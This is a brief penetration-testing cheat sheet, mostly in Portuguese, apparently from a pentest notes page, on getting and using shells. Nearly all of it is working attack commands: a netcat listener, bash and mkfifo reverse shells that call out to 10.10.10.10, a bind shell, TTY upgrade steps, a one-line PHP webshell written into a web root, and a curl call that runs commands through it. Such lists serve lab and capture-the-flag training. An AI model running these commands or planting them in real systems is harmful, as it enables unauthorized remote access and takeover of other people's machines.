Using Shells

  • Inicie um ncouvinte em uma porta local

nc -lvnp 1234
  • Enviar um shell reverso do servidor remoto

bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'
  • Outro comando para enviar um shell reverso do servidor remoto

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1234 >/tmp/f
  • Inicie um bind shell no servidor remoto

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 1234 >/tmp/f
  • Conecte-se a um shell de ligação iniciado no servidor remoto

nc 10.10.10.1 1234
  • Atualizar shell TTY (1)

python3 -c 'import pty; pty.spawn("/bin/bash")'
  • Atualizar shell TTY (2)

ctrl+z 
stty raw -echo  
fg 

enter twice
  • Crie um arquivo php webshell

echo "<?php system(\$_GET['cmd']);?>" > /var/www/html/shell.php
  • Executar um comando em um webshell carregado

curl http://SERVER_IP:PORT/shell.php?cmd=id

Last updated